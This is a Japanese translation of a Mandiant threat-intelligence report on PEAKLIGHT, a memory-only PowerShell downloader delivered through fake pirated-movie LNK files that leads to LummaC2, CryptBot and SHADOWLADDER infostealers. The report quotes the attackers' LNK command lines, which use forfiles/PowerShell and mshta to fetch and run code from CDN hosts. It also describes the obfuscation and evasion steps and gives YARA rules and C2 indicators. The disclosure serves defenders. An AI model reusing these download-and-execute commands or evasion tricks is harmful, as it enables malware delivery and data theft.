コンテンツに移動
脅威インテリジェンス

PEAKLIGHT: ひそかに機能するメモリのみのマルウェアのデコード

2024年9月1日
Mandiant

執筆者: Aaron Lee, Praveeth DSouza


※この投稿は米国時間 2024 年 8 月 23 日に、Google Cloud blog に投稿されたものの抄訳です。

要約

Mandiant が複雑な多段階感染プロセスを使用して新たなメモリのみのドロッパーを特定しました。このメモリのみのドロッパーは、PowerShell ベースのダウンローダを復号して実行します。この PowerShell ベースのダウンローダは、PEAKLIGHT と名付けられて追跡されています。

概要

Mandiant Managed Defense は、サービス形式の情報窃盗型マルウェアを配信するメモリのみのドロッパーとダウンローダを特定しました。調査中、Mandiant は、LUMMAC.V2LUMMAC2)、SHADOWLADDERCRYPTBOT などのペイロードをダウンロードするマルウェアを確認しました。Mandiant は、難読化されたメモリのみの JavaScript ドロッパーをホストするコンテンツ配信ネットワーク(CDN)に接続する Microsoft Shortcut FileLNK)が初期感染ベクトルであると特定しました。このペイロードを分析したところ、この LNK ファイルがホスト上で PowerShell ダウンローダ スクリプトを実行することが判明しました。Mandiant はこの最終的なダウンローダを PEAKLIGHT と名付けました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/peaklight-fig1.max-2100x2100.jpg

図 1: 感染チェーン

感染チェーン

ステージ 1: 映画『タイムトラベラー きのうから来た恋人(A Blast from the Past)』を装った誘い込み

Mandiant は、最近の調査で、被害者が海賊版映画を装った悪意のある ZIP ファイルをダウンロードしていることを特定しました。これらのアーカイブには、図 2 に示すファイル名スキーマに従った悪意のある Microsoft Shortcut FileLNK)が格納されていました。

* Video_mp4_1080p_x264.zip -> The Movie (HD).lnk
* Video_mp4_[1080p].zip -> Full Movie 1080p HD.lnk
* @!Movie_HD_1080p_mp4_@!.zip -> Full Movie HD (1080p).lnk
* mp4_Full_Video_HD_1080p@!.zip -> Full Video (HD) mp4.lnk

2: 初期感染

Mandiant は、クライアント環境内の関連調査において、IP アドレス 62.133.61[.]56 への異常な送信ネットワーク アクティビティを特定しました。その後、図 3 に示す XML ページが URL hxxp://62.133.61[.]56/Downloads において確認されました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/peaklight-fig3.max-1500x1500.png

図 3: XML マークアップ

特に注目すべきは、図 4 に示すこの XML マークアップのスニペットでした。

<D:href>/Downloads/Full%20Video%20HD%20%281080p%29.lnk</D:href>
    <D:propstat>
        <D:prop>
            <D:resourcetype></D:resourcetype>
            <D:displayname>Full Video HD (1080p).lnk</D:displayname>
            <D:getcontenttype>application/octet-stream</D:getcontenttype>
            <D:getetag>"17d6b3e5205a12a0460"</D:getetag>
            <D:getcontentlength>1120</D:getcontentlength>
            <D:getlastmodified>Fri, 07 Jun 2024 11:01:44 GMT</D:getlastmodified>
            <D:supportedlock>

4: 転送メカニズム

4 の内容から、このコードは、URL hxxp://62.133.61[.]56/Downloads/Full Video HD (1080p).lnkMD5: 62f20122a70c0f86a98ff14e84bcc999)のリダイレクト メカニズムまたは転送メカニズムとして機能したと考えられます。その後、Mandiant は、このファイルを取得し、メディア ファイル アイコンで構成された LNK ファイルであることを確認しました(図 5)。

https://storage.googleapis.com/gweb-cloudblog-publish/images/peaklight-fig5.max-900x900.png

図 5: メディア ファイル アイコンを使用して構成された LNK ファイル

LNK ファイルは、脅威アクターが疑いを持っていないユーザーをだまして知らないうちにマルウェアを実行させるために使用する一般的な手口です。これらのファイルは、正当なドキュメントやプログラムを装って、人目につかない場所にうまく潜む場合があります。

調査のこの段階で、Mandiant LNK ファイルのパラメータ内のさまざまなコマンドのバリエーションを特定しました。

バリエーション 1

LNK ファイルのパラメータ部分は、正規の Microsoft ユーティリティである forfiles.exe を活用して win.ini ファイルを検索し、PowerShell スクリプトを実行するように構成されていました。Mandiant は、以下のコマンド(図 6)の実行を確認しました。

forfiles.exe /p C:\Windows /m win.ini /c "powershell . 
mshta https://nextomax.b-cdn[.]net/nexto"

6: 初期 PowerShell スクリプトのバリエーション 1

このコマンドは以下を行います。

  • forfiles.exe /p コマンド スイッチを使用して、指定ファイル検索パスを C:\Windows に設定します。

  • /m コマンド スイッチを使用して、win.ini という名前に一致するファイルを探します。次に、一致するファイルごとに以下を行います(ただし、通常の Windows インストールでは 1 回だけとなります)。

    • powershell.exe を起動し、ローカライズまたはドットソース化されたスクリプトを読み込むように構成します。このスクリプトは、「.」(この場合、残りのコマンドライン パラメータによって生成される出力)で表されます。

    • hxxps://nextomax.b-cdn[.]net/nexto から第 2 ステージのペイロードを取得します。

    • 取得したペイロードを mshta.exe 経由で実行します。

この LNK ファイルを実行すると、影響を受けたホスト上で Windows Media Player が開き、著名な映画スタジオのオープニング ロゴリールの動画が自動的に再生されました。

この動画ファイルは単に video.mp4MD5: 91423dd4f34f759aaf82aa73fa202120)と名付けられており、影響を受けたホストに、実際はマルウェアに感染していたという疑いを持たせないための「偽装」動画の役割を果たしたと考えられます。

バリエーション 2

別の調査で、Mandiant LNK ファイルのパラメータ部分が、mshta.exe を起動するためのワイルドカードとして、アスタリスク(*)を使用する PowerShell コマンドを実行することを確認しました。これは、リモート サーバーから取得した悪意のあるコードを目立たないように実行することを意図しています。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" 
.(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').
('PSChildName')hxxps://potexo.b-cdn[.]net/potexo

7: 初期 PowerShell スクリプトのバリエーション 2

このコマンドは以下を行います。

  • ドットソース化演算子「.」で示されるスクリプトを実行します。

  • Get-ItemPropertygp)を使用して Mshta レジストリ ハイブを指定し、psChildName を使用してオブジェクト mshta.exe を指定します。

  • URL hxxps://potexo.b-cdn[.]net/potexo から第 2 ステージのペイロードを取得し、mshta.exe を介して実行します。

攻撃者は、さらに攻撃の痕跡を隠すために次のような回避策を用いていました。

  • システムのバイナリの代理実行: 攻撃者は、mshta.exe を使用することで、アプリケーション制御ソリューションとブラウザのセキュリティ設定を迂回して、リモート サーバーから悪意のあるコードを直接実行します。

  • コンテンツ配信ネットワークの悪用: 攻撃者は、評判の良いコンテンツ配信ネットワーク(Bunny CDN)を利用して、悪意のあるペイロードをホストしていました。CDN に関連する信頼を悪用することで、既知の信頼できるソースからのトラフィックを精査しない可能性のあるセキュリティ フィルタを回避していました。

どちらのバリエーションも、MITRE ATT&CK® Technique T1218.005: システムのバイナリの代理実行: Mshta を利用しています。

ステージ 2: JavaScript ドロッパー

8 は、CDN でキャッシュに保存された HTML ファイルに難読化されたメモリのみの JavaScript ドロッパーが含まれていることを示す分析結果です。

https://storage.googleapis.com/gweb-cloudblog-publish/images/peaklight-fig8.max-1000x1000.png

図 8: JavaScript ドロッパー レイヤ 1

スクリプトはまず、10 進エンコードされた ASCII 文字を無作為な名前の変数に代入します。次に、String.fromCharCode() 関数を使用して、10 進エンコードされた文字を対応する ASCII 文字に再変換し、スクリプト内に埋め込まれた JavaScript ドロッパーをデコードします。

Mandiant は、図 9 に示す JavaScript ドロッパーをデコードした後に、埋め込まれたペイロードを特定しました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/peaklight-fig9.max-700x700.png

図 9: JavaScript ドロッパー レイヤ 2

9 のスクリプトは、以下のアクションを実行します。

1. デコード関数(wAJ

  • この関数は数値の配列を受け取り、それぞれを 619 を引いてデコードして、その結果を String.fromCharCode() を使用して対応する文字に変換します。これらの文字が組み合わされて、最終的にデコードされた文字列が生成され、この関数によって返されます。

2. ペイロード(KbXYmD

  • 変数 KbX YmD には、wAJ 関数によってデコードされる難読化されたデータが含まれています。

3. ActiveXObject

  • このスクリプトでは、デコードされた変数 YmD が使用されています。この変数は、新しい ActiveX オブジェクトを作成するために Wscript.shell に解決されます。このオブジェクトは、コマンドを実行するためのシステムレベルの権限をスクリプトに付与します。

4. IMD.Run

  • デコードされた KbX コマンドを実行します。

  • パラメータ:

    • 0: このパラメータは、非表示ウィンドウで実行するコマンドを指示し、ユーザーに気付かれないようそのアクションを隠した状態にします。

    • true: このパラメータを指定すると、スクリプトがコマンドの実行完了まで待ってから、以降のステップに移ります。

ペイロード(KbX)は、簡潔な表現を維持するために省略されました。

: Mandiant は、この CyberChef レシピを使用して、難読化された JavaScript ドロッパーを適切にデコードしました。

バリエーション 1: 16 進エンコードされたペイロード

https://storage.googleapis.com/gweb-cloudblog-publish/images/peaklight-fig10.max-1200x1200.png

図 10: PowerShell の 16 進エンコードされたペイロード

最初のコマンドにより、16 進文字列の中に悪意のあるペイロードが隠されます。実行プロセスは以下の手順を行います。

  • ステルス型 PowerShell の起動: コマンドにより、PowerShell を非表示ウィンドウで起動し(-w 1)、実行制限を回避し(-ep Unrestricted)、ユーザー プロファイルの読み込みをスキップする(-nop)ことで、秘密裏の操作が可能となります。

  • 16 進数からバイトへの変換: カスタム関数(ffQiHkvB)は、16 進文字列を、データ格納のための標準形式であるバイト配列に変換するために定義されます。

  • 復号: スクリプトが、16 進鍵を使用して高度暗号化標準(CBC モード)復号ツールを作成します。バイト配列が復号され、実際の PowerShell コードが表示されます。

  • 実行: 最後に、復号された PowerShell コードが実行されます。

: Mandiant は、カスタム CyberChef レシピを使用してペイロードをデコードしました。

バリエーション 2: Base64 エンコードされたペイロード

https://storage.googleapis.com/gweb-cloudblog-publish/images/peaklight-fig11.max-1100x1100.png

図 11: PowerShell の Base64 エンコードされたペイロード

2 番目のコマンドは、同様の構造に従っていますが、異なる鍵を使用します。悪意のあるペイロードは 16 進数ではなく Base64 でエンコードされ、メモリ ストリームを通じて実行されます。

  • ステルスと構成: PowerShell を非表示の無制限モードで起動する最初の手順は、バリエーション 1 と同じです。

  • Base64 デコード: このバリアントは、カスタム関数の代わりに、直接 PowerShell の組み込みの FromBase64String メソッドを使用してペイロードをデコードします。

  • 復号、解凍、実行: ペイロードは、Base64 エンコードされた鍵で AESECB モード)を使用して復号されます。復号後、ペイロードは GZIP を使用してメモリに解凍され、PowerShell コードが表示され、その後実行されます。

ステージ 3: PEAKLIGHTPowerShell ダウンローダ

PEAKLIGHT は難読化された PowerShell ベースのダウンローダで、ハードコードされたファイル名があるかを確認し、ファイルが存在しない場合はリモート CDN からファイルをダウンロードします。

分析の結果、Mandiant PEAKLIGHT スクリプトのバリエーション間の主な相違点を以下のように特定しました。

  • ターゲット ディレクトリ

    • バリエーション 1 は、ファイルを $env:AppData にダウンロードします。

    • バリエーション 2 は、ファイルを $env:ProgramData にダウンロードします。

  • 実行ロジック: 

    • バリエーション 1 は、アルファベット順でアーカイブ内の最初に来るファイルを実行します。

    • バリエーション 2 は、アーカイブ内で最初に見つけたファイルを実行します。

  • ファイル名: 

    • バリエーション 1 は、ファイルを L1.zip および L2.zip という名前でダウンロードします。

    • バリエーション 2 は、ファイルを K1.zip および K2.zip という名前でダウンロードします。

  • その他のアクション

    • バリエーション 1 は、画像(video.mp4)もダウンロードし、リモート サーバーへのリクエストも行います。

    • バリエーション 2 は、画像ファイルをダウンロードしません。

: Mandiant は、カスタム CyberChef レシピを使用して、難読化されたペイロードをデコードしました。

バリエーション 1

https://storage.googleapis.com/gweb-cloudblog-publish/images/peaklight-fig12.max-1100x1100.png

図 12: PEAKLIGHT のバリエーション 1

この PEAKLIGHT ダウンローダは、以下のタスクを実行するよう設計されています。

  1. znY: ファイルにデータを書き込みます。

  2. nbF: ZIP アーカイブを抽出して、格納されている最初の実行ファイルを実行します。

  3. aXR: 難読化された URL からデータをダウンロードします。

  4. jkg: 文字列を難読化解除します。

主関数(AsD

  • 動画の再生またはダウンロード: video.mp4 AppData フォルダに存在するか確認します。存在する場合は動画を再生します。存在しない場合は、指定した URL から動画をダウンロードし、video.mp4 という名前で AppData フォルダに保存してから再生します。

  • 画像のダウンロード: Invoke-WebRequest を使用して、https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png から画像をダウンロードします。

  • ZIP ファイルの処理:

    • L1.zip AppData フォルダに存在するか確認します。

    • 存在する場合は、その中身を AppData フォルダに解凍し、ZIP 内で最初に見つかった実行可能ファイルを実行します。

    • 存在しない場合は、指定された URL から L1.zip をダウンロードし、AppData フォルダに保存して中身を取り出して、最初の実行ファイルを実行します。

    • L2.zip についても同じプロセスを繰り返します。

12 に概要を示した PEAKLIGHT ダウンローダの分析により、以下の URI が判明しました。

  • https://nextomax.b-cdn[.]net/video.mp4

  • https://nextomax.b-cdn[.]net/L1.zip

  • https://nextomax.b-cdn[.]net/L2.zip

  • https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png 

バリエーション 2

https://storage.googleapis.com/gweb-cloudblog-publish/images/peaklight-fig13.max-1000x1000.png

図 13: PEAKLIGHT のバリエーション 2

この PEAKLIGHT ダウンローダは、セキュリティ侵害されたシステムに追加のペイロードを配信し、これを実行するよう設計されています。

関数:

  1. qXF($EGa, $aQU): この関数の目的は、ファイルにデータを書き込むことです。

  2. Irl($EGa): ZIP アーカイブを抽出して、その中の実行ファイルを実行します。

  3. OBs($BYu):  URL からデータをダウンロードします。

  4. Fzl($XFW): 数値の配列を文字列(URL など)に変換して難読化解除します。

主な実行(bSo 関数):

  • 2 つの ZIP ファイル、つまり ProgramData ディレクトリ内の K1.zip K2.zip のパスを定義します。

  • それぞれの ZIP ファイルについて、すでに存在するかどうかを確認します。

  • ファイルが存在する場合は、単に Irl 関数を使用して解凍します。

  • ファイルが存在しない場合、まず関数 Fzl を使用して難読化されたウェブアドレスをデコードし、次に関数 OBs を使用してそのアドレスから ZIP ファイルをダウンロードします。最後に、関数 Irl を使用して、ダウンロードしたファイルを解凍します。

13 に概要を示した PEAKLIGHT ダウンローダの分析により、以下の URI が判明しました。

  • https://potexo.b-cdn[.]net/K1.zip

  • https://potexo.b-cdn[.]net/K2.zip

さらに、Mandiant Bunny CDN でホストされているさまざまなサブドメインに接続する他の PEAKLIGHT ダウンローダのサンプルを特定しました。これらのサンプルについては、次の分析ステージで詳しく説明します。

ステージ 4: 最後のペイロード

バリエーション 1: L1.zip L2.zip

PEAKLIGHT ダウンローダの動作の初期ステージについて見たところで、次はこれが配信するペイロードに焦点を移します。ステージ 3 のバリエーション 1 で詳述したとおり、このダウンローダは 3 つの特定ファイル L1.zipL2.zipvideo.mp4 をダウンロードすることが確認されました。表 1 に示すとおり、Mandiant はファイルの中身の取得と抽出に成功しました。

 

ダウンロード

抽出した中身

  • ファイル名: L2.zip

  • ハッシュ: 307f40ebc6d8a207455c96d34759f1f3

  • タイプ: アーカイブ

  • ファイル名: Setup.exe

  • ハッシュ: d8e21ac76b228ec144217d1e85df2693

  • タイプ: Win32 EXE

  • ファイル名: L1.zip

  • ハッシュ: a6c4d2072961e9a8c98712c46be588f8

  • タイプ: アーカイブ

  • ファイル名: LiteSkinUtils.dll

  • ハッシュ: 059d94e8944eca4056e92d60f7044f14

  • タイプ: Win32 DLL

  • ファイル名: Bentonite.cfg

  • ハッシュ: e7c43dc3ec4360374043b872f934ec9e

  • タイプ: PNG

  • ファイル名: Video.mp4

  • ハッシュ: 91423dd4f34f759aaf82aa73fa202120

  • タイプ: 動画

 

1: バリエーション 1 のダウンロードされたファイルと抽出されたアーカイブの中身

 

1.L2.zip には、以下が格納されていました。

  • Setup.exe: この実行ファイルは、Cryptbot 情報窃盗型マルウェアのバリアントです。当社の分析により、以下の埋め込み URL が判明しました。

  1. https://brewdogebar[.]com/code.vue

  2. http://gceight8vt[.]top/upload.php

2.L1.zip には、以下が格納されていました。

  • bentonite.cfg: このファイルには、SHADOWLADDER マルウェア ファミリーに関連するマルウェア構成が含まれています。

  • LiteSkinUtils.dll: LiteSkinUtil.dll は、ダイナミック リンク ライブラリ(DLL)のサイドローディングを通じて第 2 ステージのペイロードの実行を簡素化するために、SHADOWLADDER マルウェアによって使用される悪意のあるコンポーネントです。

3.Video.mp4

  • このファイルは、本物の映画の予告編に見えますが、被害者をだましてダウンロードしたファイルが安全であると信じさせるためのおとりとして使用されている可能性があります。

バリエーション 2: K1.zip K2.zip

ステージ 3 のバリエーション 2 で説明している PEAKLIGHT ダウンローダの 2 番目のバリアントは、K1.zip K2.zip 2 つのアーカイブをダウンロードすることが確認されました。

 

ダウンロード

抽出した中身

  • ファイル名: K1.zip

  • ハッシュ: b6b8164feca728db02e6b636162a2960

  • タイプ: アーカイブ

  • ファイル名: toughie.txt

  • ハッシュ: dfdc331e575dae6660d6ed3c03d214bd

  • タイプ: データ

  • ファイル名: Aaaa.exe

  • ハッシュ: b15bac961f62448c872e1dc6d3931016

  • タイプ: Win32 EXE

  • ファイル名: WCLDll.dll

  • ハッシュ: 47eee41b822d953c47434377006e01fe

  • タイプ: Win32 DLL

  • ファイル名: C:\Users\user\AppData\Local\Temp\erefgojgbu

  • ハッシュ: d6ea5dcdb2f88a65399f87809f43f83c

  • タイプ: Win32 EXE

 

  • ファイル名: K2.zip

  • ハッシュ: 236c709bbcb92aa30b7e67705ef7f55a

  • タイプ: アーカイブ

  • ファイル名: Jfts.exe

  • ハッシュ: b15bac961f62448c872e1dc6d3931016

  • タイプ: Win32 EXE

2: バリエーション 2 のダウンロードされたファイルと抽出されたアーカイブの中身

 

  1. K1.zip には、以下が格納されていました。

  • toughie.txt: このファイルには、SHADOWLADDER マルウェアに関連する構成が含まれていました。

  • aaaa.exe WCLDll.dll: これらのバイナリは、HTTP ダウンロード機能を活用するために SHADOWLADDER が一時的に使用する DLL ファイルです。

  1. K2.zip には、以下が格納されていました。

  • Jfts.exe: このファイルは、前述の aaaa.exe の名前が変更されたコピーです。

実行後、Jfts.exe は、K1.zip から悪意のある WCLDll.dll を読み込みます。この DLL は、その後、「More Utility」(more.com)を活用して、以下の 2 つのファイルをユーザーに気付かれないようにドロップします。

  • \AppData\Local\Temp\Hofla.au3MD5: c56b5f0201a3b3de53e561fe76912bfd: AutoIt3.exe バイナリであることがわかりました。

  • \AppData\Local\Temp\erefgojgbuMD5: d6ea5dcdb2f88a65399f87809f43f83c: このファイルを詳しく分析したところ、CRYPTBOT.AUTOIT マルウェアと関連があることが確認されました。

バリエーション 3: その他の PEAKLIGHT バリアント

詳細な分析により、別の手口を用いた他の PEAKLIGHT ダウンローダ バリアントが特定されました。このバリアントは、ペイロードであるアーカイブ K1.zip K2.zip をドメイン matodown.b-cdn[.]net から取得します。これらのアーカイブの中身の詳細な内訳は、表 3 にまとめています。

 

ダウンロード

抽出した中身

  • ファイル名: K1.zip

  • ハッシュ: bb9641e3035ae8c0ab6117ecc82b65a1

  • タイプ: アーカイブ

  • ファイル名: cymophane.doc

  • ハッシュ: f98e0d9599d40ed032ff16de242987ca

  • タイプ: ISO

  • ファイル名: WebView2Loader.dll

  • ハッシュ: 58c4ba9385139785e9700898cb097538

  • タイプ: Win32 DLL

  • ファイル名: K2.zip

  • ハッシュ: d7aff07e7cd20a5419f2411f6330f530

  • タイプ: アーカイブ

  • ファイル名: hgjke.exe

  • ハッシュ: c047ae13fc1e25bc494b17ca10aa179e

  • タイプ: Win32 EXE

  • ファイル名: AppData\Local\Temp\oqnhustu

  • ハッシュ: 43939986a671821203bf9b6ba52a51b4

  • タイプ: Win32 EXE

 

3: バリエーション 3 のダウンロードされたファイルと抽出されたアーカイブの中身

 

  1. K1.zip には、以下が格納されていました。

  • cymophane.doc: このファイルには、SHADOWLADDER マルウェアに関連する構成が含まれていました。

  • WebView2Loader.dll: この悪意のある DLL は、LummaC.V2 情報窃盗型マルウェアによってドロップされることが確認されました。

  1. K2.zip には、以下が格納されていました。

  • Hgjke.exe: 本物の「JRiver Web Application」実行ファイルの名前が変更されたコピーであることがわかりました。動的分析中、hgjke.exe が悪意のある WebView2Loader.dll を読み込んでいることが確認されました。Mandiant は、hgjke.exe comp.exe ユーティリティを利用して、以下の 2 つのファイルをドロップすることを確認しました。

    • AppData\Local\Temp\Ufa.au3MD5: c56b5f0201a3b3de53e561fe76912bfd: AutoIt3 バイナリであることがわかりました。

    • AppData\Local\Temp\oqnhustuMD5: 43939986a671821203bf9b6ba52a51b4: 詳細な分析により、このファイルは LummaC.V2 ペイロードと一致することが確認されました。

まとめ

PEAKLIGHT は難読化された PowerShell ベースのダウンローダであり、ハードコードされたファイルパスに ZIP アーカイブが存在するかどうかを確認する多段階実行チェーンの一部です。アーカイブが存在しない場合、このダウンローダは CDN サイトにアクセスし、リモートでホストされているアーカイブ ファイルをダウンロードしてディスクに保存します。PEAKLIGHT は、LUMMAC.V2SHADOWADDERCRYPTBOT などのペイロードをダウンロードすることが確認されています。マルウェア デベロッパーは、システムのバイナリの代理実行や CDN の悪用など、複数種類の難読化手法と回避手法を使用していました。Mandiant は、それぞれ独自の特徴を持つ PEAKLIGHT ダウンローダのさまざまなバリエーションを特定しました。

当社は、セキュリティ研究者が警戒を怠らず、確認した知見や類似のマルウェア サンプルを共有することをおすすめしています。サイバーセキュリティ コミュニティ内で協力し、率直な情報交換を促進することで、進化する脅威の状況をより正確に理解し、将来の攻撃に対する集団的防御態勢を強化できます。

次のセクションに掲載しているセキュリティ侵害インジケーターと YARA ルールを参考にして環境を保護し、危険を探知してください。お客様の環境が侵害された可能性があると思われる場合は、当社のインシデント対応チームにご連絡のうえ、サポートをご依頼ください。

謝辞

LNK の調査および本件に関する専門知識についてご支援していただいた Adrian McCabe 氏、マルウェアのステージとペイロードの初期分析にご協力いただいた Raymond Leong 氏、貴重なフィードバックをくださった Mandiant のリサーチチームに感謝申し上げます。

検出

YARA ルール

rule M_AES_Encrypted_payload {
  meta:
    author = "Mandiant"
    description = "This rule is desgined to detect on events that 
exhibits indicators of utilizing AES encryption for payload obfuscation."
    target_entity = "Process"
  strings:
    $a = /(\$\w+\.Key(\s|)=((\s|)(\w+|));|\$\w+\.Key(\s|)=(\s|)\w+\('\w+'\);)/
    $b = /\$\w+\.IV/
    $c = /System\.Security\.Cryptography\.(AesManaged|Aes)/
  condition:
    all of them
}
rule M_Downloader_PEAKLIGHT_1 {
    meta:
    	mandiant_rule_id = "e0abae27-0816-446f-9475-1987ccbb1bc0"
        author = "Mandiant"
        category = "Malware"
        description = "This rule is designed to detect on events related to peaklight. 
PEAKLIGHT is an obfuscated PowerShell-based downloader which checks for 
the presence of hard-coded filenames and downloads files from a remote CDN 
if the files are not present."
        family = "Peaklight"
        platform = "Windows"
    strings:
        $str1 = /function\s{1,16}\w{1,32}\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\
{\[IO\.File\]::WriteAllBytes\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\}/ ascii wide 
        $str2 = /Expand-Archive\s{1,16}-Path\s{1,16}\$\w{1,32}\
s{1,16}-DestinationPath/ ascii wide
        $str3 = /\(\w{1,32}\s{1,4}@\((\d{3,6},){3,12}/ ascii wide
        $str4 = ".DownloadData(" ascii wide
        $str5 = "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12" ascii wide
        $str6 = /\.EndsWith\(((["']\.zip["'])|(\(\w{1,32}\s{1,16}@\((\d{3,6},){3}\d{3,6}\)\)))/ ascii wide
        $str7 = "Add -Type -Assembly System.IO.Compression.FileSystem" ascii wide
	$str8 = "[IO.Compression.ZipFile]::OpenRead"
    condition:
	    4 of them and filesize < 10KB         
}

セキュリティ侵害インジケーター(IOC

ネットワーク ベースの IOC

PEAKLIGHT NBIs:
hxxps://fatodex.b-cdn[.]net/fatodex
hxxps://matodown.b-cdn[.]net/matodown
hxxps://potexo.b-cdn[.]net/potexo

LUMMAC.V2 C2s:
relaxtionflouwerwi[.]shop
deprivedrinkyfaiir[.]shop
detailbaconroollyws[.]shop
messtimetabledkolvk[.]shop
considerrycurrentyws[.]shop
understanndtytonyguw[.]shop
patternapplauderw[.]shop
horsedwollfedrwos[.]shop
tropicalironexpressiw[.]shop

CRYPTBOT C2s:
hxxp://gceight8vt[.]top/upload.php
hxxps://brewdogebar[.]com/code.vue

SHADOWLADDER:
hxxp://62.133.61[.]56/Downloads/Full%20Video%20HD%20(1080p).lnk
hxxps://fatodex.b-cdn[.]net/K1.zip
hxxps://fatodex.b-cdn[.]net/K2.zip
hxxps://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png
hxxps://matodown.b-cdn[.]net/K1.zip
hxxps://matodown.b-cdn[.]net/K2.zip
hxxps://nextomax.b-cdn[.]net/L1.zip
hxxps://nextomax.b-cdn[.]net/L2.zip
hxxps://potexo.b-cdn[.]net/K1.zip
hxxps://potexo.b-cdn[.]net/K2.zip

ホストベースの IOC

CRYPTBOT:
erefgojgbu (MD5: d6ea5dcdb2f88a65399f87809f43f83c)
L2.zip (MD5: 307f40ebc6d8a207455c96d34759f1f3)
Sеtup.exe (MD5: d8e21ac76b228ec144217d1e85df2693)

LUMMAC.V2:
oqnhustu (MD5: 43939986a671821203bf9b6ba52a51b4)
WebView2Loader.dll (MD5: 58c4ba9385139785e9700898cb097538)

PEAKLIGHT:
Downloader (MD5: 95361f5f264e58d6ca4538e7b436ab67)
Downloader (MD5: b716a1d24c05c6adee11ca7388b728d3) 

SHADOWLADDER:
Aaaa.exe (MD5: b15bac961f62448c872e1dc6d3931016)
bentonite.cfg (MD5: e7c43dc3ec4360374043b872f934ec9e)
cymophane.doc (MD5: f98e0d9599d40ed032ff16de242987ca)
K1.zip (MD5: b6b8164feca728db02e6b636162a2960)
K1.zip (MD5: bb9641e3035ae8c0ab6117ecc82b65a1)
K2.zip (MD5: 236c709bbcb92aa30b7e67705ef7f55a)
K2.zip (MD5: d7aff07e7cd20a5419f2411f6330f530)
L1.zip (MD5: a6c4d2072961e9a8c98712c46be588f8)
LiteSkinUtils.dll (MD5: 059d94e8944eca4056e92d60f7044f14)
toughie.txt (MD5: dfdc331e575dae6660d6ed3c03d214bd)
WCLDll.dll (MD5: 47eee41b822d953c47434377006e01fe)

Mandiant、執筆者: Aaron Lee 氏、Praveeth DSouza 氏

投稿先